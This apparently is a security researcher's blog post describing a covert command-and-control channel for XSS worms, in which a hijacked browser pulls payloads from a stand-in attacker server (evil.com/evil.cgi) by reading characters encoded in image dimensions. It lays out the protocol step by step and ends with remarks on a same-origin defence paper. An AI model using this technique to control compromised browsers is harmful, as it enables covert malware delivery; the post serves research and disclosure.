There has been a lot of research into ways of getting around the same origin policy. What if the browser sandbox we’re all trying to figure out a way of implementing prevents you from adding various tags into the DOM dynamically? So, I imagine a common “sandbox” would prevent bad guys from dynamically inserting <script>, <link>, and <iframe> elements into the DOM. Is there anything else we could do to bypass the same origin policy? This is what the question is (or what it turned into as I was exploring it the other day) when trying to figure out an XSS worm C&C channel in a post-content restrictions world.

Disclaimer: I know this isn’t earth-shattering now when the sandbox isn’t there, but I think it’s cool that using image tags we can create a completely covert channel for bypassing the same origin policy and control browsers remotely. Just to be clear, this is not a traditional same-origin bypass where we’re on http://evil.com/ and we’re talking to http://mybank.com/. We’re talking about a hijacked client who’s in collusion with an evil server that wants to deliver the client some message, be it a code payload, instructions, etc. Can we restrict JavaScript from dynamically loading image tags? No more image pre-loading? I doubt it!

Here’s how it works.

  • Client dynamically creates an Image() and points the source to http://evil.com/evil.cgi?password=somesecret
  • Server responds with an image that has a 16 pixels tall and 1 pixel wide (16 represents in this phase the total length of the payload)
  • Client then starts a loop that iterates 16/2 times:
    • Client dynamically creates a new Image() and points the source to http://evil.com/evil.cgi?password=somesecret&i=<loop_index>
    • The new image that has height x, width y
    • Client appends ASCII character value of x onto payload string
    • Client appends ASCII character value of y onto payload string
  • Client now has authenticated, 16-length payload to do whatever they want with

Payloads can be of arbitrary length and transfer surprisingly fast. The client side code for the POC is here, and the server side code is here. To verify the POC in Firefox, go to the client side page and let it finish loading (it goes quick) and then type “javascript:alert(payload)” in the address bar. This hasn’t been tested in IE, but whatever. Same thing. If I were malicious I’d spruce it up with some shimmering/port knocking style authentication on the malicious server.The good news for attackers is there will probably always be ways of getting around the same origin policy using techniques like this to distribute payloads. As far as getting arbitrary off-domain data, shrug, screwing up the implementation is always possible.

On this topic, my boss Jeff Williams pointed me to a neat paper about improving the reliability of the SOP implementations in IE using a technique called Script Accenting. I haven’t heard too much about this out there on the Interwebs besides a brief analysis on RSnake’s site and it’s really effective for preventing cross-frame SOP violations, but not for scripts that were injected using XSS. Either way, great read but I’m not 100% convinced of its reliability – something about using XOR as a security mechanism, even with their well-reasoned defenses, tickles my Spidersense as being a shaky precipice.

Anyways, happy January!